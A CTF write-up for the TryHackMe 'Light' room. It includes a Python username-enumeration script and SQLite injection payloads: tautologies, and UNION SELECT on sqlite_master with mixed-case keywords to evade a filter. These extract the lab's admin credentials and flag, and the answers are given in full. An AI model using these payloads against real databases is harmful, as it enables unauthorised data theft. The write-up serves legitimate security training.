Light

LAST UPDATED FEB-2025 (p.s. pardon me, I'm still a rookie at CTFs)

LogoLightTryHackMe

I started on this challenge with minimal knowledge of SQL/SQLite commands and workings (just the basics as learnt from the TryHackMe course room detailed under the Web Hacking -> SQL Injection section in this gitbook: https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking/web-hacking/sql-injection). I have gained ideas and insights from a few online resources and also from ChatGPT.

Note: ChatGPT was used to point myself towards the right direction on SQLite specific concepts such as commands to retrieve the table or columns names from the current database instance, but not on specific SQL injection concepts. The SQL injection commands were generated by myself based on multple trial-and-errors. For example, commands to query from sqlite_master was generated by ChatGPT, however, the insertion of specific characters (eg. quotation marks, equal signs, etc.) within the final command sent to the vulnerable database application was added myself based on my own knowledge from past experiences.

First attempt: brute-force attack on username

The challenge presents a simple interface over the TCP connection at port 1337, prompting for the username, to which it will respond with the password. The goal is to find the name and password of the admin account, followed by a flag.

My first instinct was to perform a brute-force attack on the username. According to the results, I can identify the admin username, and retrieve the password from the application.

Bash script to brute force the password:

The following displays an attempt of using a bash script (not completed) to perform the brute-force attack. However, the script is not working as it simply pauses after the first input.

#!/usr/bin/bash

filename="/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt"

while IFS="" read -r line; do
	# eg. echo smokey | nc <target> 1337
	res=$(echo "$line" | nc -w 1 <target> 1337)

	if [[ "$res" == *"not found"* ]]; then
		# if the substring "not found" is present, means user not found
		...
	else
		# print success message and exit
		...
	fi;

done < "$filename"

Python script:

The following shows a Python script that works:

#!/usr/bin/python3

import socket

HOST=<target>
PORT=1337
#filename='/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt'
#filename='test.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/names.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/femalenames-usa-top1000.txt'
#filename='Security-Research/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt'
filename='wordlist/usernames.txt'

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST,PORT))
    s.recv(1024) # flush 1
    s.recv(1024) # flush 2


    f = open(filename, 'r')

    for username in f:
        if len(username) <= 10:
            continue

        username = username.lower()

        print(f'[!] Trying {username.replace('\n', '')}', end=' ')
        
        s.send(bytes(username, 'utf-8'))
        data = s.recv(1024)
        str_data = str(data, 'utf-8')

        if 'not found' in str_data:
            print('failed')
            s.recv(50)

        else:
            print(str_data)
            break

    f.close()

Word-lists to try out:

  1. /usr/share/wordlists/seclists/Usernames/Names/names.txt

  2. /usr/share/wordlists/seclists/Usernames/Names/malenames-usa-top1000.txt

  3. /usr/share/wordlists/seclists/Usernames/Names/femalenames-usa-top1000.txt

I found the username: alice. However this wasn't the admin username. Probably a rookie mistake on my part for not realizing sooner that the answer field for the admin username in the TryHackMe website is 14 characters long. An SQL injection is likely to be more feasible.

SQL Injection

As mentioned before, I noticed that the input form length is very long, and realized that it's highly unlikely that I would be able to find the username with a simple brute-force.

As suggested from the challenge name, this database is likely to be a SQLite database application.

Possible SQL statements on the server side:

SELECT * FROM users WHERE name=[input_name];

Attempts with common SQL injection inputs:

(1) Force the statement to resolve to TRUE

a) Potentially tricking the database to return all the users

1st attempt

' OR 1=1

Response: Error: unrecognized token: "' LIMIT 30"

From the error message, I understand that the query on the server side is as follows:

SELECT * FROM users WHERE name='[input_name]' LIMIT 30;

2nd attempt

The -- operator represents a single-line comment. This is used to tell SQL to ignore the comments after our input. In this case, it allows bypass of the ' LIMIT 30 command.

' OR 1=1 --

Hope to resolve to the following in the server side:

SELECT * FROM users WHERE name='' OR 1=1--' LIMIT 30;

Reponse: For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)

This tells us that comment characters are banned.

3rd attempt:

' OR ''='

Hope to resolve to the following in the server side:

SELECT * FROM users WHERE name='' OR ''=''

This seems to return a password value (associated with the alice username).

(2) UNION SELECT statement

a) Query the sqlite_master database for more information

What is sqlite_master?

Every SQLite database contains a single "schema table" that stores the schema for that database. The schema for a database is a description of all the other tables, indexes, triggers, and views that are contained within the database.

The schema table looks like this:

CREATE TABLE sqlite_schema(
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);
LogoThe Schema Table

1st attempt to query the sqlite_master schema table

  • This can be used to discover the name of the other tables available in the SQLite database

' UNION SELECT name FROM sqlite_master WHERE type='table' OR '=

Response: Ahh there is a word in there I don't like :(

  • The full lowercase form for the UNION and SELECT operator in the query returns the same response too

' union select name FROM sqlite_master WHERE type='table' OR '=

(3) Obfuscation of keywords

After pondering for awhile on the error message returned from the statement in point 2 above, I got the idea of using non-standard SQL keyword commands, apart from the conventional fully capitalized, or fully non-capitalized versions (UNION, union).

Query 3.1

' Union Select name FROM sqlite_master WHERE type = 'table' OR '=

Response 3.1: Password: admintable

  • It appears that this method works

  • We have discovered that there exists a table with the name admintable

Query 3.2

' Union Select * from admintable '=

Response 3.2:

Error: SELECTs to the left and right of UNION do not have the same number of result columns

  • This response tells us that the admintable table have more than one column

  • Thus, it causes a number of result columns mismatch from the original query (first part of the query before the UNION keyword)

Note that the original query only returns one column

Query 3.3

We need a method to view the exact schema of the table, before selecting a single column to read the value directly 

' Union Select sql FROM sqlite_master WHERE name='admintable' OR '=

Response 3.3:

Password: CREATE TABLE admintable ( id INTEGER PRIMARY KEY, username TEXT, password INTEGER)

Query 3.4 (Answer to qn 1)

Now, with the information retrieved from the previous response, I can select a column value to read. In this case, it will be the username column.

' Union Select username FROM admintable  '

Response 3.4:

Password: TryHackMeAdmin

To answer question 1 "What is the admin username?": TryHackMeAdmin

Query 3.5 (Answer to qn 2)

Now that we know the admin username, we can find the password with the following query:

' Union Select password FROM admintable WHERE username='TryHackMeAdmin' OR '=

Response 3.5:

Password: mamZtAuMlrsEy5bp6q17

To answer question 2 "What is the password to the username mentioned in question 1?": mamZtAuMlrsEy5bp6q17

Query 3.6 (Answer to qn 3)

' Union Select password FROM admintable '=

Response 3.6:

Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}

To answer question 3 "What is the flag?": THM{SQLit3_InJ3cTion_is_SimplE_nO?}

(4) Other queries to understand the concept of sqlite_master schema table

Query 4.1

' UNion Select sql FROM sqlite_master where type='table' OR '=

  • Returns the same response as query 3.3 above

Query 4.2

Returns the same response as query 3.1 above

' UNion Select tbl_name FROM sqlite_master where type='table' OR '=

Conclusion

From the results, I have learnt that SQLite accepts variations of SQL keywords. This includes the following (non-exhaustive): Union, uNion, unIon, uniOn, UNion, etc., which are treated as valid commands.

This is because SQLite follows the SQL standard, which states that keywords are case-insensitive. However, this only applies to keywords, not to identifiers like table names (unless quoted). This can allow attackers to bypass simple SQL injection filters that relies on specific standard keyword filters such as "UNION", "union", etc.

LogoPayloadsAllTheThings/SQLite Injection.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
LogoSQL Injection Cheat SheetInvicti
LogoSQLite Injection Attacks - Tutlane
PreviousSilver PlatterNextPickle Rick

Last updated